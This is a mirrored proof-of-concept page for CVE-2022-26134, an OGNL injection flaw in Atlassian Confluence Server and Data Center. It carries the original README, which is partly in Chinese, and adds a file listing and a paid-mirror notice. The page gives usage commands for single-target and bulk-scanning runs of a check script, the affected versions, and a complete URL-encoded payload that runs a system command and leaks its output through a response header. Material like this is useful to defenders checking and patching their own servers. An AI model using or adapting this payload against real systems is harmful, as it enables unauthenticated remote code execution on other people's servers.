CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source

https://github.com/yTxZx/CVE-2022-26134

Associated Vulnerability

Title:Atlassian Confluence Server 注入漏洞 (CVE-2022-26134)
Description:In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.

Readme

CVE-2022-26134 - Confluence OGNL injection vulnerability

# 脚本使用
安装python库

pip install -r requirements.txt

漏洞验证

python3 CVE-2022-26134_check.py -u url -c whoami

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/f272f24b-5883-4851-ad59-dd39b3b4d30c)


批量扫描

python3 CVE-2022-26134_check.py -f url.txt -c whoami

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/3e2b851f-cf8c-43cd-a635-cf0b4cafbd35)


# 影响版本
Confluence Server and Data Center >= 1.3.0

Confluence Server and Data Center < 7.4.17

Confluence Server and Data Center < 7.13.7

Confluence Server and Data Center < 7.14.3

Confluence Server and Data Center < 7.15.2

Confluence Server and Data Center < 7.16.4

Confluence Server and Data Center < 7.17.4

Confluence Server and Data Center < 7.18.1

# 漏洞复现

payload：

/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/

访问Confluence服务，抓取返回码为302的数据包，发送带有payload的数据包，返回包中X-Qualys-Response参数会返回当前服务器用户名

![image](https://github.com/yTxZx/CVE-2022-26134/assets/100921463/eced3f62-aced-4d67-8678-e7eba15f08af)


# 漏洞原理

攻击者提供的URI将被转换为namespace，然后该namespace将被转换为OGNL表达式进行计算（攻击者提供的url被间接转化成了OGNL表达式进行计算）

File Snapshot


 [4.0K]  /data/pocs/45f3633c4e6c8ee8d202cc715efbe9bda870bf1b
├── [5.4K]  CVE-2022-26134.py
├── [1.6K]  README.md
└── [  60]  requirements.txt

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!